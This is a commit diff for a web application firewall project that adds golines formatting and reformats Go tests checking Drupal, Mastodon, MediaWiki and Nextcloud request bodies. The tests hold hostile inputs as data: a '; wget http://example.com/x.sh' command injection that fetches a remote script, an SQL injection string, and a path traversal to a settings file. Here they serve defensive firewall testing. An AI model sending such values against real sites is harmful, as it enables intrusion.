script/fmt now runs golines -m 77 after gofmt, repeating golines until it changes nothing, since one pass can leave a line the next splits. script/fmt-check fails when either would change a file. script/bootstrap installs golines v0.13.0 with go install, pinned to its commit, and checks the installed version with go version -m. The tree is reformatted. The longer lines this makes are fixed by hand: nolint directives moved onto their own line above the statement, one string split, and 20 functions over funlen's 80 lines shortened or split, RunWAF and limitPercentages among them. Model: opus-5-5
This commit was merged in pull request #363.
This commit is contained in:
1 parent
63e58e326b
commit
0b23352767
118 files changed
+9447
-2670
No files matched your search
@@ -292,9 +292,11 @@ var errSwwRuleID = errors.New("an id of sww's own rules")
|
||||
// directive that removes or changes rules as it loads, such as
|
||||
// SecRuleRemoveById. The Core Rule Set's rules load after the file, so
|
||||
// the directive finds none of them.
|
||||
var errChangesNoRule = errors.New("the Core Rule Set's rules load after the file; " +
|
||||
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
||||
"with a ctl exclusion")
|
||||
var errChangesNoRule = errors.New(
|
||||
"the Core Rule Set's rules load after the file; " +
|
||||
"switch a rule off with SWW_WAF_DISABLED_RULES, or on some requests " +
|
||||
"with a ctl exclusion",
|
||||
)
|
||||
|
||||
// directivesIn returns the directives in text as Coraza reads them: it
|
||||
// skips blank lines and comment lines, and joins a line ending in \ to
|
||||
@@ -338,18 +340,27 @@ func checkExclusions(exclusions string) error {
|
||||
}
|
||||
|
||||
if first <= lastOwnRuleID && last >= firstOwnRuleID {
|
||||
return fmt.Errorf("the exclusions file names %s: %w", match[0],
|
||||
errSwwRuleID)
|
||||
return fmt.Errorf(
|
||||
"the exclusions file names %s: %w",
|
||||
match[0],
|
||||
errSwwRuleID,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// Coraza takes the directive's name up to the first space, without
|
||||
// regard to case.
|
||||
name, _, _ := strings.Cut(directive, " ")
|
||||
if lower := strings.ToLower(name); strings.HasPrefix(lower, "secruleremove") ||
|
||||
if lower := strings.ToLower(name); strings.HasPrefix(
|
||||
lower,
|
||||
"secruleremove",
|
||||
) ||
|
||||
strings.HasPrefix(lower, "secruleupdate") {
|
||||
return fmt.Errorf("%s in the exclusions file changes no rule: %w", name,
|
||||
errChangesNoRule)
|
||||
return fmt.Errorf(
|
||||
"%s in the exclusions file changes no rule: %w",
|
||||
name,
|
||||
errChangesNoRule,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -488,7 +499,10 @@ func (c *CoreRuleSet) Inspect(
|
||||
// readBody reads one byte past the limit, to tell which they are, gives
|
||||
// the Core Rule Set what it reads, and returns what it read and the error
|
||||
// that ended the reading early, if one did.
|
||||
func (c *CoreRuleSet) readBody(tx types.Transaction, body io.Reader) ([]byte, error) {
|
||||
func (c *CoreRuleSet) readBody(
|
||||
tx types.Transaction,
|
||||
body io.Reader,
|
||||
) ([]byte, error) {
|
||||
if c.bodyLimit == 0 {
|
||||
return nil, nil
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large.
Load diff
@@ -124,15 +124,25 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.body)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %q let through: %+v", sent.target, sent.body, got)
|
||||
t.Errorf(
|
||||
"POST %s %q let through: %+v",
|
||||
sent.target,
|
||||
sent.body,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
injection,
|
||||
scriptTag,
|
||||
} {
|
||||
// TestDrupalAttacksAreRefusedInTheExcludedJSONFields is the JSON half of
|
||||
// TestDrupalAttacksAreRefusedInTheExcludedBodyFields.
|
||||
func TestDrupalAttacksAreRefusedInTheExcludedJSONFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, attack := range []string{injection, scriptTag} {
|
||||
for _, field := range []string{
|
||||
`"title":"` + attack + `"`,
|
||||
`"body":{"value":"` + attack + `"}`,
|
||||
@@ -153,7 +163,11 @@ func TestDrupalAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
||||
r := request{
|
||||
http.MethodPatch,
|
||||
"/node/2?_format=json",
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body := `{"title":[{"value":"` + attack + `"}]}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
@@ -198,14 +212,25 @@ func TestDrupalPasswordFieldsPass(t *testing.T) {
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{drupalRegister, formData, pass},
|
||||
{"/fr/user/register", formData, pass},
|
||||
{"/user/1/edit", formData, []string{"current_pass", pass[0], pass[1]}},
|
||||
{
|
||||
"/user/1/edit",
|
||||
formData,
|
||||
[]string{"current_pass", pass[0], pass[1]},
|
||||
},
|
||||
{"/admin/people/create", formData, pass},
|
||||
{drupalJSONRegister, jsonBody, []string{value}},
|
||||
{drupalJSONRegister, jsonBody, []string{"pass.value"}},
|
||||
{"/user/1?_format=json", jsonBody, []string{value, "pass.0.existing"}},
|
||||
{
|
||||
"/user/1?_format=json",
|
||||
jsonBody,
|
||||
[]string{value, "pass.0.existing"},
|
||||
},
|
||||
{
|
||||
"/jsonapi/user/user/86e2fbf4-0c01-4e2d-9c05-9a56e07f3e53", jsonBody,
|
||||
[]string{"data.attributes.pass.value", "data.attributes.pass.existing"},
|
||||
[]string{
|
||||
"data.attributes.pass.value",
|
||||
"data.attributes.pass.existing",
|
||||
},
|
||||
},
|
||||
})
|
||||
}
|
||||
@@ -222,7 +247,11 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||
`../../sites/default/settings.php`,
|
||||
} {
|
||||
for _, field := range []string{"name", "mail"} {
|
||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||
r := request{
|
||||
http.MethodPost,
|
||||
drupalJSONPasswordReset,
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body := `{"` + field + `":"` + attack + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
@@ -241,12 +270,23 @@ func TestDrupalAttacksAreRefusedInTheJSONPasswordReset(t *testing.T) {
|
||||
{"ls -la", 932250},
|
||||
{".htaccess@example.com", 930120},
|
||||
} {
|
||||
r := request{http.MethodPost, drupalJSONPasswordReset, []string{jsonBody}}
|
||||
r := request{
|
||||
http.MethodPost,
|
||||
drupalJSONPasswordReset,
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body := `{"mail":"` + kept.value + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, kept.rule) {
|
||||
t.Errorf("POST %s %s: %+v, want %d among them", r.target, body, got, kept.rule)
|
||||
if got.Score < drupalThreshold ||
|
||||
!slices.Contains(got.RuleIDs, kept.rule) {
|
||||
t.Errorf(
|
||||
"POST %s %s: %+v, want %d among them",
|
||||
r.target,
|
||||
body,
|
||||
got,
|
||||
kept.rule,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -317,10 +357,35 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+drupalCommandAttack)
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, sent.field, got)
|
||||
t.Errorf(
|
||||
"POST %s %s let through: %+v",
|
||||
r.target,
|
||||
sent.field,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses ls -la.
|
||||
r := request{http.MethodPost, drupalEditAccount, []string{formData}}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, "mail=ls%20-la")
|
||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
||||
t.Errorf(
|
||||
"POST %s mail=ls%%20-la: %+v, want 932250 among them",
|
||||
r.target,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
// TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields is the JSON half
|
||||
// of TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields.
|
||||
func TestDrupalCommandAttackIsRefusedInTheExcludedJSONFields(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
for _, field := range []string{
|
||||
`"title":"; wget http://example.com/x.sh"`,
|
||||
`"subject":"; wget http://example.com/x.sh"`,
|
||||
@@ -342,7 +407,11 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
r := request{http.MethodPatch, "/node/2?_format=json", []string{jsonBody}}
|
||||
r := request{
|
||||
http.MethodPatch,
|
||||
"/node/2?_format=json",
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body := `{"title":[{"value":"; wget http://example.com/x.sh"}]}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
@@ -357,14 +426,6 @@ func TestDrupalCommandAttackIsRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
if got.Score < drupalThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
// An address keeps 932250, which refuses ls -la.
|
||||
r = request{http.MethodPost, drupalEditAccount, []string{formData}}
|
||||
|
||||
got, _ = inspectBody(t, crs, r, "mail=ls%20-la")
|
||||
if got.Score < drupalThreshold || !slices.Contains(got.RuleIDs, 932250) {
|
||||
t.Errorf("POST %s mail=ls%%20-la: %+v, want 932250 among them", r.target, got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
@@ -388,7 +449,13 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
if got.Score >= drupalThreshold {
|
||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||
t.Errorf(
|
||||
"POST %s %s%s refused: %+v",
|
||||
sent.target,
|
||||
sent.field,
|
||||
value,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -407,7 +474,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
|
||||
}
|
||||
|
||||
r = request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||
r = request{
|
||||
http.MethodPost,
|
||||
"/fr" + drupalJSONPasswordReset,
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body = `{"name":"` + word + `"}`
|
||||
|
||||
got, _ = inspectBody(t, crs, r, body)
|
||||
@@ -417,7 +488,11 @@ func TestDrupalHardValuesPassInTheBodyFields(t *testing.T) {
|
||||
}
|
||||
|
||||
for _, address := range []string{"python3@example.com", "powershell@example.com"} {
|
||||
r := request{http.MethodPost, "/fr" + drupalJSONPasswordReset, []string{jsonBody}}
|
||||
r := request{
|
||||
http.MethodPost,
|
||||
"/fr" + drupalJSONPasswordReset,
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body := `{"mail":"` + address + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
@@ -483,7 +558,11 @@ func TestDrupalBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
{drupalEditAccount, "mail=python3"},
|
||||
{drupalTagForm, "name%5B0%5D%5Bvalue%5D=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.path + "?" + sent.field, []string{formData}}
|
||||
r := request{
|
||||
http.MethodPost,
|
||||
sent.path + "?" + sent.field,
|
||||
[]string{formData},
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field)
|
||||
if got.Score < drupalThreshold {
|
||||
|
||||
@@ -106,26 +106,58 @@ var mastodonFormFields = []mastodonBodyField{
|
||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "private_comment="},
|
||||
{http.MethodPost, "/api/v1/admin/domain_blocks", "public_comment="},
|
||||
{http.MethodPost, "/api/v1/admin/ip_blocks", mastodonComment},
|
||||
{http.MethodPost, "/admin/domain_blocks", "domain_block[private_comment]="},
|
||||
{http.MethodPost, "/admin/domain_blocks", "domain_block[public_comment]="},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/admin/domain_blocks",
|
||||
"domain_block[private_comment]=",
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/admin/domain_blocks",
|
||||
"domain_block[public_comment]=",
|
||||
},
|
||||
{http.MethodPost, "/admin/ip_blocks", "ip_block[comment]="},
|
||||
{http.MethodPost, mastodonRules, "rule[text]="},
|
||||
{http.MethodPost, mastodonRules, "rule[hint]="},
|
||||
{http.MethodPost, "/admin/announcements", "announcement[text]="},
|
||||
{http.MethodPost, mastodonBranding, "form_admin_settings[site_title]="},
|
||||
{http.MethodPost, mastodonBranding, "form_admin_settings[site_short_description]="},
|
||||
{
|
||||
http.MethodPost,
|
||||
mastodonBranding,
|
||||
"form_admin_settings[site_short_description]=",
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/admin/settings/about",
|
||||
"form_admin_settings[site_extended_description]=",
|
||||
},
|
||||
{http.MethodPost, "/filters", "custom_filter[title]="},
|
||||
{http.MethodPost, "/filters", "custom_filter[keywords_attributes][0][keyword]="},
|
||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[name]="},
|
||||
{http.MethodPost, "/settings/applications", "doorkeeper_application[website]="},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/filters",
|
||||
"custom_filter[keywords_attributes][0][keyword]=",
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/settings/applications",
|
||||
"doorkeeper_application[name]=",
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/settings/applications",
|
||||
"doorkeeper_application[website]=",
|
||||
},
|
||||
{http.MethodPost, "/settings/aliases", "account_alias[acct]="},
|
||||
{http.MethodPost, "/settings/migration", "account_migration[acct]="},
|
||||
{http.MethodPost, mastodonAccount, "user[invite_request_attributes][text]="},
|
||||
{http.MethodPost, "/admin/accounts/1/action", "admin_account_action[text]="},
|
||||
{
|
||||
http.MethodPost,
|
||||
mastodonAccount,
|
||||
"user[invite_request_attributes][text]=",
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/admin/accounts/1/action",
|
||||
"admin_account_action[text]=",
|
||||
},
|
||||
{http.MethodPost, "/admin/report_notes", "report_note[content]="},
|
||||
{
|
||||
http.MethodPost, "/admin/account_moderation_notes",
|
||||
@@ -149,12 +181,20 @@ var mastodonPasswordForms = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonAccount, mastodonPassword},
|
||||
{http.MethodPost, mastodonAccount, "user[password_confirmation]="},
|
||||
{http.MethodPost, mastodonAccount, "user[current_password]="},
|
||||
{http.MethodPost, "/settings/migration", "account_migration[current_password]="},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/settings/migration",
|
||||
"account_migration[current_password]=",
|
||||
},
|
||||
{
|
||||
http.MethodPost, "/settings/migration/redirect",
|
||||
"form_redirect[current_password]=",
|
||||
},
|
||||
{http.MethodPost, "/settings/delete", "form_delete_confirmation[password]="},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/settings/delete",
|
||||
"form_delete_confirmation[password]=",
|
||||
},
|
||||
{http.MethodPost, mastodonSignUp, passwordField},
|
||||
}
|
||||
|
||||
@@ -181,12 +221,28 @@ var mastodonJSONFields = []mastodonBodyField{
|
||||
},
|
||||
{http.MethodPatch, mastodonEditor, `{"display_name":%s}`},
|
||||
{http.MethodPatch, mastodonEditor, `{"note":%s}`},
|
||||
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"name":%s}]}`},
|
||||
{http.MethodPatch, mastodonEditor, `{"fields_attributes":[{"value":%s}]}`},
|
||||
{
|
||||
http.MethodPatch,
|
||||
mastodonEditor,
|
||||
`{"fields_attributes":[{"name":%s}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPatch,
|
||||
mastodonEditor,
|
||||
`{"fields_attributes":[{"value":%s}]}`,
|
||||
},
|
||||
{http.MethodPatch, mastodonProfile, `{"display_name":%s}`},
|
||||
{http.MethodPatch, mastodonProfile, `{"note":%s}`},
|
||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"name":%s}]}`},
|
||||
{http.MethodPatch, mastodonProfile, `{"fields_attributes":[{"value":%s}]}`},
|
||||
{
|
||||
http.MethodPatch,
|
||||
mastodonProfile,
|
||||
`{"fields_attributes":[{"name":%s}]}`,
|
||||
},
|
||||
{
|
||||
http.MethodPatch,
|
||||
mastodonProfile,
|
||||
`{"fields_attributes":[{"value":%s}]}`,
|
||||
},
|
||||
{http.MethodPost, mastodonReports, `{"comment":%s}`},
|
||||
{http.MethodPost, "/api/v1/accounts/1/note", `{"comment":%s}`},
|
||||
{http.MethodPost, mastodonSignUp, `{"reason":%s}`},
|
||||
@@ -195,8 +251,16 @@ var mastodonJSONFields = []mastodonBodyField{
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"summary":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"summaryMap":{"en":%s}}}`},
|
||||
{http.MethodPost, "/ap/users/1/inbox", `{"object":{"name":%s}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"name":%s}]}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"attachment":[{"value":%s}]}}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
mastodonInbox,
|
||||
`{"object":{"attachment":[{"name":%s}]}}`,
|
||||
},
|
||||
{
|
||||
http.MethodPost,
|
||||
mastodonInbox,
|
||||
`{"object":{"attachment":[{"value":%s}]}}`,
|
||||
},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"oneOf":[{"name":%s}]}}`},
|
||||
{http.MethodPost, mastodonInbox, `{"object":{"anyOf":[{"name":%s}]}}`},
|
||||
}
|
||||
@@ -239,7 +303,12 @@ func mastodonJSON(t *testing.T, sent mastodonBodyField, value string) int {
|
||||
}
|
||||
|
||||
r := request{sent.method, sent.target, []string{jsonBody}}
|
||||
got, _ := inspectBody(t, readingBodies(t), r, fmt.Sprintf(sent.field, quoted))
|
||||
got, _ := inspectBody(
|
||||
t,
|
||||
readingBodies(t),
|
||||
r,
|
||||
fmt.Sprintf(sent.field, quoted),
|
||||
)
|
||||
|
||||
return got.Score
|
||||
}
|
||||
@@ -270,7 +339,11 @@ func mastodonScores(
|
||||
}
|
||||
|
||||
for _, sent := range slices.Concat(mastodonFormFields, mastodonStatusForms) {
|
||||
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(t, sent, value)
|
||||
scores[fmt.Sprintf("%v with %s", sent, value)] = mastodonForm(
|
||||
t,
|
||||
sent,
|
||||
value,
|
||||
)
|
||||
}
|
||||
|
||||
unescaped, err := url.QueryUnescape(value)
|
||||
@@ -279,7 +352,11 @@ func mastodonScores(
|
||||
}
|
||||
|
||||
for _, sent := range slices.Concat(mastodonJSONFields, mastodonStatusJSON) {
|
||||
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(t, sent, unescaped)
|
||||
scores[fmt.Sprintf("%v with %q", sent, unescaped)] = mastodonJSON(
|
||||
t,
|
||||
sent,
|
||||
unescaped,
|
||||
)
|
||||
}
|
||||
|
||||
return scores
|
||||
@@ -316,8 +393,11 @@ func TestMastodonPasswordsPass(t *testing.T) {
|
||||
t.Run("JSON", func(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
r := request{mastodonPasswordJSON.method, mastodonPasswordJSON.target,
|
||||
[]string{jsonBody}}
|
||||
r := request{
|
||||
mastodonPasswordJSON.method,
|
||||
mastodonPasswordJSON.target,
|
||||
[]string{jsonBody},
|
||||
}
|
||||
|
||||
wantRandomPasswordsPass(t, r, "password")
|
||||
wantPasswordAttacksPass(t, r, "password")
|
||||
@@ -332,8 +412,16 @@ func TestMastodonPasswordConfirmationPasses(t *testing.T) {
|
||||
|
||||
wantPasswordFieldsPass(t, []passwordFields{
|
||||
{"/auth/challenge", formData, challenge},
|
||||
{"/settings/two_factor_authentication/otp_authentication", formData, challenge},
|
||||
{"/settings/two_factor_authentication_methods/disable", formData, challenge},
|
||||
{
|
||||
"/settings/two_factor_authentication/otp_authentication",
|
||||
formData,
|
||||
challenge,
|
||||
},
|
||||
{
|
||||
"/settings/two_factor_authentication_methods/disable",
|
||||
formData,
|
||||
challenge,
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
@@ -508,7 +596,11 @@ func TestMastodonReportKeysPassByNameOnReportsOnly(t *testing.T) {
|
||||
{mastodonReport, "false"},
|
||||
{mastodonForwardedReport, "remote.example"},
|
||||
} {
|
||||
report := mastodonBodyField{http.MethodPost, mastodonReports, sent.body}
|
||||
report := mastodonBodyField{
|
||||
http.MethodPost,
|
||||
mastodonReports,
|
||||
sent.body,
|
||||
}
|
||||
if got := mastodonJSON(t, report, sent.value); got >= mastodonThreshold {
|
||||
t.Errorf("%v refused: %d", report, got)
|
||||
}
|
||||
@@ -572,12 +664,20 @@ func TestMastodonUsernamesAndHashtagsSkipOnlyTwoRules(t *testing.T) {
|
||||
}
|
||||
|
||||
// Elsewhere both keep the two rules.
|
||||
signIn := mastodonBodyField{http.MethodPost, mastodonSignIn, mastodonUsername.field}
|
||||
signIn := mastodonBodyField{
|
||||
http.MethodPost,
|
||||
mastodonSignIn,
|
||||
mastodonUsername.field,
|
||||
}
|
||||
if mastodonForm(t, signIn, "python3") < mastodonThreshold {
|
||||
t.Errorf("%v let through", signIn)
|
||||
}
|
||||
|
||||
statuses := mastodonBodyField{http.MethodPost, mastodonStatuses, mastodonHashtag.field}
|
||||
statuses := mastodonBodyField{
|
||||
http.MethodPost,
|
||||
mastodonStatuses,
|
||||
mastodonHashtag.field,
|
||||
}
|
||||
if mastodonJSON(t, statuses, "python3") < mastodonThreshold {
|
||||
t.Errorf("%v let through", statuses)
|
||||
}
|
||||
@@ -617,7 +717,11 @@ func TestMastodonEmailAddressesSkipThreeRules(t *testing.T) {
|
||||
// Elsewhere the address keeps every rule.
|
||||
for _, target := range []string{"/oauth/authorize", "/authorize", "/x/auth"} {
|
||||
sent := mastodonBodyField{http.MethodPost, target, mastodonEmail}
|
||||
if mastodonForm(t, sent, "python3%40example.com") < mastodonThreshold {
|
||||
if mastodonForm(
|
||||
t,
|
||||
sent,
|
||||
"python3%40example.com",
|
||||
) < mastodonThreshold {
|
||||
t.Errorf("%v let through", sent)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -221,7 +221,13 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+attack)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s%s let through: %+v", sent.target, sent.field, attack, got)
|
||||
t.Errorf(
|
||||
"POST %s %s%s let through: %+v",
|
||||
sent.target,
|
||||
sent.field,
|
||||
attack,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -231,7 +237,11 @@ func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
|
||||
scriptTag,
|
||||
} {
|
||||
for _, field := range []string{"source", "comment"} {
|
||||
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
|
||||
r := request{
|
||||
http.MethodPut,
|
||||
mediawikiRESTPage,
|
||||
[]string{jsonBody},
|
||||
}
|
||||
body := `{"` + field + `":"` + attack + `"}`
|
||||
|
||||
got, _ := inspectBody(t, crs, r, body)
|
||||
@@ -270,15 +280,31 @@ func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
|
||||
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
|
||||
{mediawikiSignIn + "&" + loginContinue, formData, retype},
|
||||
{mediawikiAccountChange + "?" + changeAction, formData, change},
|
||||
{mediawikiAccountChange + subpage + "?" + changeAction, formData, change},
|
||||
{"/index.php/Special:ChangeCredentials?" + changeAction, formData, change},
|
||||
{
|
||||
mediawikiAccountChange + subpage + "?" + changeAction,
|
||||
formData,
|
||||
change,
|
||||
},
|
||||
{
|
||||
"/index.php/Special:ChangeCredentials?" + changeAction,
|
||||
formData,
|
||||
change,
|
||||
},
|
||||
{
|
||||
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
|
||||
formData, change,
|
||||
},
|
||||
{"/w/index.php?title=Special:ChangeCredentials&" + changeAction, formData, change},
|
||||
{
|
||||
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
|
||||
formData,
|
||||
change,
|
||||
},
|
||||
// A German wiki's names for the same pages.
|
||||
{"/index.php/Spezial:Benutzerkonto_anlegen?" + create, formData, retype},
|
||||
{
|
||||
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
|
||||
formData,
|
||||
retype,
|
||||
},
|
||||
{
|
||||
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
|
||||
formData, retype,
|
||||
@@ -319,7 +345,12 @@ func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
|
||||
|
||||
body := formBody(sent.name, "' OR '1'='1")
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.name, got)
|
||||
t.Errorf(
|
||||
"POST %s %s let through: %+v",
|
||||
sent.target,
|
||||
sent.name,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -350,7 +381,9 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
targets := append([]string{"/load.php?modules="}, mediawikiQueryFields...)
|
||||
targets := append(
|
||||
[]string{"/load.php?modules="},
|
||||
mediawikiQueryFields...)
|
||||
|
||||
for _, target := range targets {
|
||||
got := inspect(t, crs, get(target+mediawikiCommandAttack))
|
||||
@@ -367,7 +400,12 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
|
||||
if got.Score < mediawikiThreshold {
|
||||
t.Errorf("POST %s %s let through: %+v", sent.target, sent.field, got)
|
||||
t.Errorf(
|
||||
"POST %s %s let through: %+v",
|
||||
sent.target,
|
||||
sent.field,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -382,7 +420,11 @@ func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
|
||||
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
|
||||
// holds no ";", "|", "&", backtick or "{", and only when the body sends
|
||||
// it once.
|
||||
r = request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||
r = request{
|
||||
http.MethodPost,
|
||||
mediawikiWatchlist.target,
|
||||
[]string{formData},
|
||||
}
|
||||
|
||||
for _, attack := range []string{
|
||||
mediawikiCommandAttack,
|
||||
@@ -428,7 +470,13 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field+value)
|
||||
if got.Score >= mediawikiThreshold {
|
||||
t.Errorf("POST %s %s%s refused: %+v", sent.target, sent.field, value, got)
|
||||
t.Errorf(
|
||||
"POST %s %s%s refused: %+v",
|
||||
sent.target,
|
||||
sent.field,
|
||||
value,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
|
||||
@@ -444,7 +492,11 @@ func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
|
||||
}
|
||||
|
||||
// A watchlist holds the title on its second line, as recorded.
|
||||
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
|
||||
r := request{
|
||||
http.MethodPost,
|
||||
mediawikiWatchlist.target,
|
||||
[]string{formData},
|
||||
}
|
||||
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
|
||||
|
||||
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
|
||||
@@ -517,7 +569,11 @@ func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
|
||||
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
|
||||
{mediawikiAPI + "?action=edit", "text=python3"},
|
||||
} {
|
||||
r := request{http.MethodPost, sent.target + "&" + sent.field, []string{formData}}
|
||||
r := request{
|
||||
http.MethodPost,
|
||||
sent.target + "&" + sent.field,
|
||||
[]string{formData},
|
||||
}
|
||||
|
||||
got, _ := inspectBody(t, crs, r, sent.field)
|
||||
if got.Score < mediawikiThreshold {
|
||||
|
||||
@@ -107,7 +107,12 @@ var nextcloudBodies = []nextcloudBody{
|
||||
http.MethodPut, nextcloudUsers + "/admin",
|
||||
jsonBody, `{"key":"headline","value":"%s"}`,
|
||||
},
|
||||
{http.MethodPost, "/ocs/v2.php/cloud/groups", jsonBody, `{"groupid":"%s"}`},
|
||||
{
|
||||
http.MethodPost,
|
||||
"/ocs/v2.php/cloud/groups",
|
||||
jsonBody,
|
||||
`{"groupid":"%s"}`,
|
||||
},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"path":"/%s"}`},
|
||||
{http.MethodPost, nextcloudShares, jsonBody, `{"shareWith":"%s"}`},
